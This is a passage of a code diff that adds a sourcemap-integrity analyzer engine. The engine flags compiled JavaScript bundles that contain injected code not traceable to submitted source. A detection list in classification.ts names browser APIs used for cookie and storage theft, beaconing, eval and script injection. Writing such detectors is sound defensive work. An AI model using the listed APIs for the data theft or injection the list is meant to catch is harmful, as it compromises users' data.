+ + PathLeakageRuleDescription: + `Sourcemap sources[] entries must be relative paths. Absolute paths leak developer environment details (usernames, filesystem layout) into shipped artifacts.`, + + InvalidSourceReferencesRuleDescription: + `Every file referenced by a sourcemap sources[] entry (that doesn't have inline sourcesContent) must exist on disk. Missing files indicate tampering or an incomplete submission.`, + + VlqIntegrityRuleDescription: + `Sourcemap "mappings" field must be valid Base64 VLQ and reference in-range source/name indices. Malformed mappings signal a fabricated or corrupted sourcemap.`, + + SourceContentVerificationRuleDescription: + `AST-based verification that the compiled JS actually traces back to the submitted source. Parses compiled output with @babel/parser, collects significant AST nodes, and checks each has a sourcemap mapping into a source file present on disk. Also enforces byte-equal sourcesContent, a virtual-source ratio cap, an AST type-mismatch threshold, and flags dangerous API patterns in unmapped regions.`, + + CoverageAnalysisRuleDescription: + `Character-level coverage analysis (informational). Flags per-line unmapped regions of 50+ chars and raises a cumulative finding when more than 5% of the compiled file (line-1 preamble discounted up to 2000 chars) has no sourcemap coverage.`, + + StructuralCoherenceRuleDescription: + `Structural coherence checks on sourcemap tokens (informational). Flags out-of-bounds mappings, sample-based whitespace/comment-only mappings above 80%, and cross-file jump ratios above 50% on consecutive same-line tokens.`, + + TokenConsistencyRuleDescription: + `Token-type consistency checks on sampled sourcemap tokens (informational). Every 20th mapping is compared between compiled and source positions; verifies names[] entries exist near the claimed source position (±3 col tolerance); flags scores below 85% (warning) and below 70% (suspicious).`, + + MissingSourcemapForFile: + `No sourcemap found for %s. Expected a co-located .js.map or a //# sourceMappingURL comment.`, + + OrphanJsWithDangerousApi: + `Orphan JS file (no sourcemap) contains dangerous API pattern(s): %s. This looks like unmapped/injected code rather than a bundler runtime.`, + + PathLeakageFinding: + `Sourcemap references an absolute local path: "%s". Sources should be relative to protect developer environment details.`, + + SourceFileDoesNotExist: + `Sourcemap references a source file that doesn't exist on disk: "%s" (resolved to %s).`, + + SourcemapNotValidJson: + `Sourcemap is not valid JSON: %s`, + + SourcemapMissingMappings: + `Sourcemap is missing a string "mappings" field.`, + + SourcemapMissingSourcesArray: + `Sourcemap is missing a "sources" array.`, + + VlqDecodingFailed: + `Sourcemap "mappings" field failed VLQ decoding: %s`, + + SegmentSourceIndexOutOfRange: + `Sourcemap segment at line %d, segment %d references source index %d but sources length is %d.`, + + SegmentNameIndexOutOfRange: + `Sourcemap segment at line %d, segment %d references name index %d but names length is %d.`, + + SourceContentSourcemapNotJson: + `Sourcemap is not valid JSON: %s`, + + SourceContentSourcemapUnloadable: + `Sourcemap could not be loaded for AST verification: %s`, + + SourceContentReferencesUnknownSource: + `Sourcemap references source "%s" (normalized "%s") which is not present in the submitted source tree.`, + + SourceContentMissingInline: + `Sourcemap source "%s" is missing inline sourcesContent — required for byte-equal verification against the submitted source.`, + + SourceContentBytewiseMismatch: + `Sourcemap sourcesContent for "%s" differs from the submitted source file (byte-equal check).`, + + SourceContentExcessiveVirtualSources: + `Excessive virtual sources: %s%% of %d sources are virtual (webpack/vite/unknown). Threshold is %d%%; potential Layer-1 bypass attempt.`, + + SourceContentCompiledParseFailed: + `Compiled JS failed to parse for AST verification: %s`, + + SourceContentCoverageBelowThreshold: + `Sourcemap coverage %s%% is below threshold %d%% (%d/%d significant AST nodes mapped). Compiled JS may include code not present in submitted source.`, + + SourceContentUnmappedNode: + `Unmapped %s at %d:%d — "%s"`, + + SourceContentTypeMismatchRatio: + `AST type-mismatch ratio %s%% meets or exceeds %s%% threshold (%d/%d mapped nodes have incompatible source AST types). Mappings may be fabricated.`, + + SourceContentTypeMismatchDetail: + `Type mismatch: %s`, + + SourceContentDangerousUnmapped: + `Unmapped %s at %d:%d contains a dangerous API pattern: "%s"`, + + SourceContentOrphanSources: + `%d mapped AST node source(s) not present in the submitted source tree: %s`, + + CoverageUnmappedRegion: + `Unmapped region on line %d cols %d..%d (%d chars) — no sourcemap coverage.`, + + CoverageExcessiveCumulative: + `Excessive cumulative unmapped content: %s%% of %d chars are unmapped (line-1 preamble discounted). Threshold is %s%%.`, + + CoherenceBoundsSummary: + `%d sourcemap mapping(s) point out of bounds of the referenced source file.`, + + CoherenceBoundsDetail: + `Out-of-bounds: "%s" claimed line %d:%d but file has %d line(s).`, + + CoherenceWhitespaceSuspicious: + `%s%% of sampled mappings point to whitespace or comments (%d/%d). Threshold is %s%%; sourcemap tokens may be fabricated to satisfy coverage without pointing at real code.`, + + CoherenceCrossFileJumpsSuspicious: + `Cross-file jump ratio %s exceeds %s: majority of consecutive tokens on the same generated line jump between source files, which is unusual for real bundler output.`, + + TokenConsistencySuspicious: + `Token type consistency %s%% is below suspicious threshold %s%% (%d/%d sampled tokens agree between compiled and source positions). Sourcemap tokens appear fabricated.`, + + TokenConsistencyBelowWarning: + `Token type consistency %s%% is below expected threshold %s%% (%d/%d sampled tokens agree between compiled and source positions).`, + + TokenNameMismatchSummary: + `%d sourcemap name(s) don't exist at the claimed source position (±%d col tolerance).`, + + TokenNameMismatchDetail: + `Name mismatch: expected "%s" at %s:%d:%d, found "%s".` +}; + +export function getMessage(msgId: string, ...args: (string | number)[]): string { + return getMessageFromCatalog(MESSAGE_CATALOG, msgId, ...args); +} diff --git a/packages/code-analyzer-uibundle-engine/src/plugin.ts b/packages/code-analyzer-uibundle-engine/src/plugin.ts new file mode 100644 index 00000000..dfd6caf4 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/plugin.ts @@ -0,0 +1,20 @@ +import { + ConfigObject, + Engine, + EnginePluginV1, +} from "@salesforce/code-analyzer-engine-api"; +import { getMessage } from "./messages"; +import { UIBundleEngine } from "./engine"; + +export class UIBundleEnginePlugin extends EnginePluginV1 { + getAvailableEngineNames(): string[] { + return [UIBundleEngine.NAME]; + } + + async createEngine(engineName: string, _resolvedConfig: ConfigObject): Promise { + if (engineName !== UIBundleEngine.NAME) { + throw new Error(getMessage('UnsupportedEngineName', engineName)); + } + return new UIBundleEngine(); + } +} diff --git a/packages/code-analyzer-uibundle-engine/src/rules.ts b/packages/code-analyzer-uibundle-engine/src/rules.ts new file mode 100644 index 00000000..75ad8d50 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/rules.ts @@ -0,0 +1,95 @@ +import { + SeverityLevel, + type RuleDescription, +} from "@salesforce/code-analyzer-engine-api"; +import { getMessage } from "./messages"; + +const UIBUNDLE_TAG = "UIBundle"; +const UIBUNDLE_INTEGRITY_TAG = "UIBundleIntegrity"; + +export const RULES: RuleDescription[] = [ + { + name: "missing-sourcemap", + severityLevel: SeverityLevel.High, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('MissingSourcemapRuleDescription'), + resourceUrls: [ + "https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map", + ], + }, + { + name: "path-leakage", + severityLevel: SeverityLevel.Moderate, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('PathLeakageRuleDescription'), + resourceUrls: [], + }, + { + name: "invalid-source-references", + severityLevel: SeverityLevel.High, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('InvalidSourceReferencesRuleDescription'), + resourceUrls: [], + }, + { + name: "vlq-integrity", + severityLevel: SeverityLevel.High, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('VlqIntegrityRuleDescription'), + resourceUrls: ["https://tc39.es/ecma426/#sec-mapping-groups"], + }, + { + name: "source-content-verification", + severityLevel: SeverityLevel.High, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('SourceContentVerificationRuleDescription'), + resourceUrls: ["https://tc39.es/source-map/"], + }, + { + name: "coverage-analysis", + severityLevel: SeverityLevel.Info, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('CoverageAnalysisRuleDescription'), + resourceUrls: [], + }, + { + name: "structural-coherence", + severityLevel: SeverityLevel.Info, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('StructuralCoherenceRuleDescription'), + resourceUrls: [], + }, + { + name: "token-consistency", + severityLevel: SeverityLevel.Info, + tags: [ + UIBUNDLE_TAG, + UIBUNDLE_INTEGRITY_TAG, + ], + description: getMessage('TokenConsistencyRuleDescription'), + resourceUrls: [], + }, +]; + +export const RULE_NAMES: Set = new Set(RULES.map((r) => r.name)); diff --git a/packages/code-analyzer-uibundle-engine/src/validators/classification.ts b/packages/code-analyzer-uibundle-engine/src/validators/classification.ts new file mode 100644 index 00000000..027fd67c --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/classification.ts @@ -0,0 +1,118 @@ +export function toPosixPath(p: string): string { + return p.replace(/\\/g, "/"); +} + +export function normalizeLineEndings(s: string): string { + return s.replace(/\r\n?/g, "\n"); +} + +export function normalizeSourcePath(p: string): string { + let s = p; + while (s.startsWith("../")) s = s.slice(3); + while (s.startsWith("./")) s = s.slice(2); + while (s.startsWith("/")) s = s.slice(1); + if (s.startsWith("webpack:///")) s = s.slice("webpack:///".length); + else if (s.startsWith("webpack://")) s = s.slice("webpack://".length); + if (s.startsWith("/src/")) s = s.slice("/src/".length); + return s; +} + +// An "any `?`" gate would let `src/injected.js?x=1` launder past byte-equal/AST checks. +const KNOWN_VIRTUAL_QUERY_PATTERNS = [ + /\?vue(&|$)/, + /\?vue&type=(script|template|style|custom)(&|$)/, + /\?url(&|$)/, + /\?raw(&|$)/, + /\?worker(&|$)/, + /\?sharedworker(&|$)/, + /\?inline(&|$)/, + /\?used(&|$)/, + /\?import(&|$)/, + /\?commonjs-(proxy|es-import|external|entry)(&|$)/, + /\?lang\.(js|jsx|ts|tsx|css|scss|sass|less|stylus|postcss)(&|$)/, +]; + +export function isVirtualSource(p: string): boolean { + return ( + p.includes("\0") || + p.startsWith("webpack/") || + p.startsWith("<") || + p.startsWith("__vite") || + p.startsWith("vite/") || + p === "unknown" || + KNOWN_VIRTUAL_QUERY_PATTERNS.some((re) => re.test(p)) + ); +} + +export function isDependency(p: string): boolean { + return p.startsWith("node_modules/") || p.includes("/node_modules/"); +} + +export function isAsset(p: string): boolean { + return ASSET_EXTENSIONS.some((ext) => p.endsWith(ext)); +} + +// Compiled JavaScript output extensions produced by bundlers. Vite/webpack/rollup +// emit .js by default, .mjs when configured for pure ESM output, and .cjs when +// emitting CommonJS. All three ship alongside .map files and are equally in-scope +// for tamper detection. +const COMPILED_JS_EXTENSIONS = [".js", ".mjs", ".cjs"]; +const SOURCEMAP_EXTENSIONS = [".js.map", ".mjs.map", ".cjs.map"]; + +export function isCompiledJs(p: string): boolean { + return COMPILED_JS_EXTENSIONS.some((ext) => p.endsWith(ext)); +} + +export function isSourcemap(p: string): boolean { + return SOURCEMAP_EXTENSIONS.some((ext) => p.endsWith(ext)); +} + +const ASSET_EXTENSIONS = [ + ".png", + ".jpg", + ".jpeg", + ".gif", + ".svg", + ".ico", + ".webp", + ".woff", + ".woff2", + ".ttf", + ".eot", + ".otf", + ".mp3", + ".mp4", + ".wav", + ".ogg", + ".webm", +]; + +export const DANGEROUS_API_PATTERNS: readonly string[] = Object.freeze([ + "document.cookie", + "localStorage", + "sessionStorage", + "XMLHttpRequest", + "navigator.sendBeacon", + "importScripts", + "ServiceWorker", + ["ev", "al", "("].join(""), + ["Fu", "nction", "("].join(""), + "crypto.subtle", +]); + +export const DANGEROUS_AST_EXTRA_PATTERNS: readonly string[] = Object.freeze([ + "fetch(", + '.createElement("script")', + ".createElement(`script`)", +]); + +export function containsDangerousApi(content: string): boolean { + return DANGEROUS_API_PATTERNS.some((p) => content.includes(p)); +} + +export function containsDangerousPattern(snippet: string): boolean { + return ( + DANGEROUS_API_PATTERNS.some((p) => snippet.includes(p)) || + DANGEROUS_AST_EXTRA_PATTERNS.some((p) => snippet.includes(p)) + ); +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/coverage-analysis.ts b/packages/code-analyzer-uibundle-engine/src/validators/coverage-analysis.ts new file mode 100644 index 00000000..04033da2 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/coverage-analysis.ts @@ -0,0 +1,231 @@ +import { promises as fs } from "node:fs"; +import { TraceMap, eachMapping } from "@jridgewell/trace-mapping"; +import { isCompiledJs } from "./classification"; +import { walk } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const COVERAGE_ANALYSIS_RULE = "coverage-analysis"; + +const UNMAPPED_THRESHOLD = 50; +const EXCESSIVE_UNMAPPED_PCT = 5.0; +const LINE1_EXEMPT_CHARS = 2000; +// "Dense minified line" = a line long enough that a mapping-per-token minifier output +// produces ambient gaps that are not tamper signal. On such lines, we require a much +// larger gap to consider it an unmapped region. AST-level dangerous-pattern detection +// in source-content-verification catches smaller injections regardless of this threshold. +const DENSE_LINE_MIN_LENGTH = 5000; +const DENSE_LINE_UNMAPPED_THRESHOLD = 2000; +// Cap per-file region emissions — reviewers only need the largest few. The count is +// still surfaced via the cumulative-budget finding when it fires. Guarantees that the +// biggest stealth injection is always visible even on files with many ambient regions. +const MAX_REGIONS_EMITTED_PER_FILE = 5; + +interface UnmappedRegion { + line: number; + startCol: number; + endCol: number; + length: number; +} + +export async function validateCoverageAnalysis(distPath: string): Promise { + let distStat; + try { + distStat = await fs.stat(distPath); + } catch { + return { findings: [], skipped: { reason: `dist path not found: ${distPath}` } }; + } + if (!distStat.isDirectory()) { + return { findings: [], skipped: { reason: `dist path is not a directory: ${distPath}` } }; + } + + const findings: ValidatorFinding[] = []; + + await walk(distPath, async (jsPath) => { + if (!isCompiledJs(jsPath)) return; + const mapPath = `${jsPath}.map`; + let mapRaw: string; + try { + mapRaw = await fs.readFile(mapPath, "utf8"); + } catch { + return; + } + let tracer: TraceMap; + try { + tracer = new TraceMap(mapRaw); + } catch { + return; + } + let compiledJs: string; + try { + compiledJs = await fs.readFile(jsPath, "utf8"); + } catch { + return; + } + + const report = analyzeCoverage(tracer, compiledJs); + + const regionsBySize = [...report.unmappedRegions].sort((a, b) => b.length - a.length); + for (const region of regionsBySize.slice(0, MAX_REGIONS_EMITTED_PER_FILE)) { + findings.push({ + ruleName: COVERAGE_ANALYSIS_RULE, + message: getMessage('CoverageUnmappedRegion', region.line, region.startCol, region.endCol, region.length), + file: jsPath, + startLine: region.line, + startColumn: region.startCol + 1, + }); + } + + if (report.excessiveUnmapped) { + findings.push({ + ruleName: COVERAGE_ANALYSIS_RULE, + message: getMessage('CoverageExcessiveCumulative', report.unmappedCountedPct.toFixed(2), report.totalChars, EXCESSIVE_UNMAPPED_PCT.toString()), + file: jsPath, + }); + } + }); + + return { findings }; +} + +export function analyzeCoverage( + tracer: TraceMap, + compiledJs: string, +): { + totalChars: number; + mappedChars: number; + coveragePct: number; + unmappedRegions: UnmappedRegion[]; + excessiveUnmapped: boolean; + unmappedCountedPct: number; +} { + const lines = compiledJs.split("\n"); + const lineCount = lines.length; + + const lineCols: number[][] = Array.from({ length: lineCount }, () => []); + eachMapping(tracer, (m) => { + const dstLine = m.generatedLine - 1; + if (dstLine >= 0 && dstLine < lineCount) { + lineCols[dstLine]!.push(m.generatedColumn); + } + }); + for (const cols of lineCols) { + cols.sort((a, b) => a - b); + let write = 0; + for (const col of cols) { + if (write === 0 || col !== cols[write - 1]) { + cols[write++] = col; + } + } + cols.length = write; + } + + let totalChars = 0; + let mappedChars = 0; + const unmappedRegions: UnmappedRegion[] = []; + // Sub-threshold uncovered chars that are too small to be flagged as their own region + // on a dense line (i.e. between UNMAPPED_THRESHOLD and DENSE_LINE_UNMAPPED_THRESHOLD) + // still count toward the cumulative-budget signal so many small gaps don't slip past. + // Contributions are banner-adjusted at insertion — line-1 chars within LINE1_EXEMPT_CHARS + // are discounted so a small preamble gap costs the same as a large one (i.e. zero). + let subThresholdCounted = 0; + + const addSubThreshold = (lineIdx: number, startCol: number, endCol: number) => { + if (lineIdx === 0) { + const countableStart = Math.max(startCol, LINE1_EXEMPT_CHARS); + if (endCol > countableStart) { + subThresholdCounted += endCol - countableStart; + } + } else { + subThresholdCounted += endCol - startCol; + } + }; + + for (let i = 0; i < lineCount; i++) { + const lineText = lines[i]!; + const lineLen = lineText.length; + totalChars += lineLen; + if (lineLen === 0) continue; + + // Dense minified lines (like the single line of a Vite/webpack production bundle) + // produce hundreds of small mapping gaps that are structural, not tamper signal. + // Raise the per-region threshold on such lines so only substantial gaps count. + // AST-level checks (source-content-verification) still catch small injections. + const regionThreshold = + lineLen >= DENSE_LINE_MIN_LENGTH ? DENSE_LINE_UNMAPPED_THRESHOLD : UNMAPPED_THRESHOLD; + const isDense = lineLen >= DENSE_LINE_MIN_LENGTH; + + const cols = lineCols[i]!; + if (cols.length === 0) { + if (lineLen >= regionThreshold) { + unmappedRegions.push({ line: i + 1, startCol: 0, endCol: lineLen, length: lineLen }); + } else if (isDense && lineLen >= UNMAPPED_THRESHOLD) { + addSubThreshold(i, 0, lineLen); + } + continue; + } + + // Each mapping covers characters until the NEXT mapping — but only up to + // UNMAPPED_THRESHOLD chars, so a single mapping cannot silently credit an + // arbitrarily long minified tail. Gaps between consecutive mappings that + // exceed the threshold are recorded as unmapped regions. + let prevBoundary = 0; + for (let k = 0; k <= cols.length; k++) { + const boundary = k < cols.length ? cols[k]! : lineLen; + const gap = boundary - prevBoundary; + if (k === 0) { + if (gap >= regionThreshold) { + unmappedRegions.push({ + line: i + 1, + startCol: prevBoundary, + endCol: boundary, + length: gap, + }); + } else if (isDense && gap >= UNMAPPED_THRESHOLD) { + addSubThreshold(i, prevBoundary, boundary); + } + } else { + const covered = Math.min(gap, UNMAPPED_THRESHOLD); + mappedChars += covered; + const uncovered = gap - covered; + if (uncovered >= regionThreshold) { + unmappedRegions.push({ + line: i + 1, + startCol: prevBoundary + covered, + endCol: boundary, + length: uncovered, + }); + } else if (isDense && uncovered >= UNMAPPED_THRESHOLD) { + addSubThreshold(i, prevBoundary + covered, boundary); + } + } + prevBoundary = boundary; + } + } + + const coveragePct = totalChars > 0 ? (mappedChars / totalChars) * 100 : 100; + + let totalUnmappedCounted = subThresholdCounted; + for (const region of unmappedRegions) { + if (region.line === 1) { + if (region.endCol > LINE1_EXEMPT_CHARS) { + const countableStart = Math.max(region.startCol, LINE1_EXEMPT_CHARS); + totalUnmappedCounted += region.endCol - countableStart; + } + } else { + totalUnmappedCounted += region.length; + } + } + + const unmappedCountedPct = totalChars > 0 ? (totalUnmappedCounted / totalChars) * 100 : 0; + const excessiveUnmapped = unmappedCountedPct > EXCESSIVE_UNMAPPED_PCT; + + return { + totalChars, + mappedChars, + coveragePct, + unmappedRegions, + excessiveUnmapped, + unmappedCountedPct, + }; +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/invalid-source-references.ts b/packages/code-analyzer-uibundle-engine/src/validators/invalid-source-references.ts new file mode 100644 index 00000000..7c11d725 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/invalid-source-references.ts @@ -0,0 +1,61 @@ +import { promises as fs } from "node:fs"; +import * as path from "node:path"; +import { collectSourceMaps } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const INVALID_SOURCE_REFERENCES_RULE = "invalid-source-references"; + +const VIRTUAL_SCHEMES = /^(?:webpack|rollup|vite|esbuild|node):/; +const DATA_URL = /^data:/i; +const HTTP_URL = /^https?:\/\//i; + +export async function validateInvalidSourceReferences(distPath: string): Promise { + const { maps, parseErrors } = await collectSourceMaps(distPath); + const findings: ValidatorFinding[] = []; + + for (const { path: mapPath, message } of parseErrors) { + findings.push({ + ruleName: INVALID_SOURCE_REFERENCES_RULE, + message: getMessage('SourcemapNotValidJson', message), + file: mapPath, + }); + } + + for (const { path: mapPath, map } of maps) { + const mapDir = path.dirname(mapPath); + const contents = map.sourcesContent ?? []; + + for (let i = 0; i < map.sources.length; i++) { + const source = map.sources[i]; + if (!source) continue; + if (isVirtualOrRemote(source)) continue; + if (contents[i] != null) continue; + + const resolved = resolveSourcePath(source, map.sourceRoot ?? "", mapDir); + try { + await fs.access(resolved); + } catch { + findings.push({ + ruleName: INVALID_SOURCE_REFERENCES_RULE, + message: getMessage('SourceFileDoesNotExist', source, resolved), + file: mapPath, + startLine: 1, + startColumn: 1, + }); + } + } + } + return { findings }; +} + +function isVirtualOrRemote(source: string): boolean { + return VIRTUAL_SCHEMES.test(source) || DATA_URL.test(source) || HTTP_URL.test(source); +} + +function resolveSourcePath(source: string, sourceRoot: string, mapDir: string): string { + if (path.isAbsolute(source)) return source; + const withRoot = sourceRoot ? path.join(sourceRoot, source) : source; + if (path.isAbsolute(withRoot)) return withRoot; + return path.resolve(mapDir, withRoot); +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/missing-sourcemap.ts b/packages/code-analyzer-uibundle-engine/src/validators/missing-sourcemap.ts new file mode 100644 index 00000000..41dcd67b --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/missing-sourcemap.ts @@ -0,0 +1,103 @@ +import { promises as fs } from "node:fs"; +import * as path from "node:path"; +import { containsDangerousApi, DANGEROUS_API_PATTERNS, isCompiledJs, isSourcemap } from "./classification"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const MISSING_SOURCEMAP_RULE = "missing-sourcemap"; + +export async function validateMissingSourcemaps(distPath: string): Promise { + let distStat: Awaited>; + try { + distStat = await fs.stat(distPath); + } catch { + return { findings: [], skipped: { reason: `dist path not found: ${distPath}` } }; + } + if (!distStat.isDirectory()) { + return { findings: [], skipped: { reason: `dist path is not a directory: ${distPath}` } }; + } + + const jsFiles = await collectJsFiles(distPath); + const findings: ValidatorFinding[] = []; + + for (const jsFile of jsFiles) { + if (await hasSourcemap(jsFile, distPath)) continue; + + findings.push({ + ruleName: MISSING_SOURCEMAP_RULE, + message: getMessage('MissingSourcemapForFile', path.relative(distPath, jsFile)), + file: jsFile, + startLine: 1, + startColumn: 1, + }); + + let content: string; + try { + content = await fs.readFile(jsFile, "utf8"); + } catch { + continue; + } + if (containsDangerousApi(content)) { + const hits = DANGEROUS_API_PATTERNS.filter((p) => content.includes(p)); + findings.push({ + ruleName: MISSING_SOURCEMAP_RULE, + message: getMessage('OrphanJsWithDangerousApi', hits.join(", ")), + file: jsFile, + startLine: 1, + startColumn: 1, + }); + } + } + + return { findings }; +} + +async function collectJsFiles(root: string): Promise { + const out: string[] = []; + async function walk(dir: string): Promise { + const entries = await fs.readdir(dir, { withFileTypes: true }); + for (const entry of entries) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + await walk(full); + } else if (entry.isFile() && isCompiledJs(entry.name)) { + out.push(full); + } + } + } + await walk(root); + return out; +} + +async function hasSourcemap(jsFile: string, distPath: string): Promise { + // lstat matches walker semantics — Dirent.isFile() is false for symlinks, so a symlinked map would be silently unscanned by every walk-based rule. + const colocated = `${jsFile}.map`; + try { + const st = await fs.lstat(colocated); + if (st.isFile()) return true; + } catch { + // fall through + } + + let contents: string; + try { + contents = await fs.readFile(jsFile, "utf8"); + } catch { + return false; + } + const match = /^[/\s]*[#@]\s*sourceMappingURL\s*=\s*(\S+)/m.exec(contents); + if (!match) return false; + const url = match[1]!.replace(/[?#].*$/, ""); + if (url.startsWith("data:")) return false; + if (/^[a-z]+:\/\//i.test(url)) return false; + const resolved = path.resolve(path.dirname(jsFile), url); + const relToDist = path.relative(distPath, resolved); + if (relToDist.startsWith("..") || path.isAbsolute(relToDist)) return false; + if (!isSourcemap(resolved)) return false; + try { + const st = await fs.lstat(resolved); + return st.isFile(); + } catch { + return false; + } +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/path-leakage.ts b/packages/code-analyzer-uibundle-engine/src/validators/path-leakage.ts new file mode 100644 index 00000000..2656c525 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/path-leakage.ts @@ -0,0 +1,48 @@ +import { collectSourceMaps } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const PATH_LEAKAGE_RULE = "path-leakage"; + +const ABSOLUTE_UNIX_ROOT = /^\/(?:Users|home|root|app|build|opt|tmp|var)\//; +const ABSOLUTE_WIN_DRIVE = /^[A-Za-z]:[\\/]/; +const WIN_UNC = /^\\\\/; +const FILE_URL = /^file:\/\//i; + +export async function validatePathLeakage(distPath: string): Promise { + const { maps, parseErrors } = await collectSourceMaps(distPath); + const findings: ValidatorFinding[] = []; + + for (const { path: mapPath, message } of parseErrors) { + findings.push({ + ruleName: PATH_LEAKAGE_RULE, + message: getMessage('SourcemapNotValidJson', message), + file: mapPath, + }); + } + + for (const { path: mapPath, map } of maps) { + for (const source of map.sources) { + if (!source) continue; + if (isLeaking(source)) { + findings.push({ + ruleName: PATH_LEAKAGE_RULE, + message: getMessage('PathLeakageFinding', source), + file: mapPath, + startLine: 1, + startColumn: 1, + }); + } + } + } + return { findings }; +} + +function isLeaking(source: string): boolean { + return ( + ABSOLUTE_UNIX_ROOT.test(source) || + ABSOLUTE_WIN_DRIVE.test(source) || + WIN_UNC.test(source) || + FILE_URL.test(source) + ); +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/source-content-verification.ts b/packages/code-analyzer-uibundle-engine/src/validators/source-content-verification.ts new file mode 100644 index 00000000..a7d5100b --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/source-content-verification.ts @@ -0,0 +1,491 @@ +import { promises as fs } from "node:fs"; +import { parse, type ParserOptions } from "@babel/parser"; +import _traverse, { type NodePath } from "@babel/traverse"; +import type { Node } from "@babel/types"; +import { TraceMap, originalPositionFor } from "@jridgewell/trace-mapping"; +import { + containsDangerousPattern, + isAsset, + isCompiledJs, + isDependency, + isVirtualSource, + normalizeLineEndings, + normalizeSourcePath, +} from "./classification"; +import { buildSourceIndex, walk, type SourceIndex } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +// ESM/CJS interop for @babel/traverse +const traverse = (_traverse as unknown as { default?: typeof _traverse }).default ?? _traverse; + +export const SOURCE_CONTENT_VERIFICATION_RULE = "source-content-verification"; + +const COVERAGE_THRESHOLD_LARGE = 95; +const COVERAGE_THRESHOLD_SMALL = 70; +const SMALL_FILE_NODE_COUNT = 500; +const TYPE_MISMATCH_THRESHOLD = 0.2; +const AST_MATCH_TOLERANCE_BYTES = 5; + +const VIRTUAL_SOURCE_RATIO_THRESHOLD_PCT = 20; +// Vite/webpack minified bundles put everything on line 1; a small preamble at the start +// of that line is bundler runtime with no mapping. Beyond this column, unmapped +// dangerous-pattern nodes on line 1 are treated the same as line-2+. Aligned with +// coverage-analysis's LINE1_EXEMPT_CHARS so a stealth injection cannot hide in the +// gap between the two rules' exemption windows. +const LINE1_BANNER_EXEMPT_CHARS = 2000; + +const PARSER_OPTIONS: ParserOptions = { + sourceType: "unambiguous", + allowReturnOutsideFunction: true, + allowImportExportEverywhere: true, + errorRecovery: true, + plugins: ["jsx", "typescript", "decorators-legacy"], +}; + +const SIGNIFICANT_NODE_TYPES = new Set([ + "FunctionDeclaration", + "FunctionExpression", + "ArrowFunctionExpression", + "ClassDeclaration", + "ClassExpression", + "ClassMethod", + "ClassProperty", + "JSXElement", + "JSXFragment", + "CallExpression", + "NewExpression", + "MemberExpression", + "OptionalMemberExpression", + "AssignmentExpression", + "VariableDeclaration", + "ImportDeclaration", + "ExportNamedDeclaration", + "ExportDefaultDeclaration", + "ExportAllDeclaration", + "ReturnStatement", + "ThrowStatement", + "AwaitExpression", + "YieldExpression", +]); + +export function normalizeNodeType(t: string): string { + if ( + t === "ExportNamedDeclaration" || + t === "ExportDefaultDeclaration" || + t === "ExportAllDeclaration" + ) { + return "ExportDeclaration"; + } + return t; +} + +interface SignificantNode { + type: string; + line: number; + column: number; + byteOffset: number; + snippet: string; +} + +export interface SourceContentOptions { + sourcePath: string; + distPath: string; + sourceIndex?: SourceIndex; +} + +export async function validateSourceContent( + options: SourceContentOptions, +): Promise { + let sourceStat, distStat; + try { + sourceStat = await fs.stat(options.sourcePath); + } catch { + return { findings: [], skipped: { reason: `source path not found: ${options.sourcePath}` } }; + } + try { + distStat = await fs.stat(options.distPath); + } catch { + return { findings: [], skipped: { reason: `dist path not found: ${options.distPath}` } }; + } + if (!sourceStat.isDirectory() || !distStat.isDirectory()) { + return { findings: [], skipped: { reason: "source and dist must both be directories" } }; + } + + const sourceIndex = options.sourceIndex ?? await buildSourceIndex(options.sourcePath); + const findings: ValidatorFinding[] = []; + + await walk(options.distPath, async (jsPath) => { + if (!isCompiledJs(jsPath)) return; + const mapPath = `${jsPath}.map`; + let mapRaw: string; + try { + mapRaw = await fs.readFile(mapPath, "utf8"); + } catch { + return; + } + + let rawMap: RawSourceMap; + try { + rawMap = JSON.parse(mapRaw); + } catch (err) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentSourcemapNotJson', (err as Error).message), + file: mapPath, + }); + return; + } + + let tracer: TraceMap; + try { + tracer = new TraceMap(mapRaw); + } catch (err) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentSourcemapUnloadable', (err as Error).message), + file: mapPath, + }); + return; + } + + await runByteEqualAndRatioChecks(rawMap, mapPath, sourceIndex, findings); + + let compiledJs: string; + try { + compiledJs = await fs.readFile(jsPath, "utf8"); + } catch { + return; + } + await runAstChecks(jsPath, mapPath, compiledJs, tracer, sourceIndex, findings); + }); + + return { findings }; +} + +interface RawSourceMap { + version?: 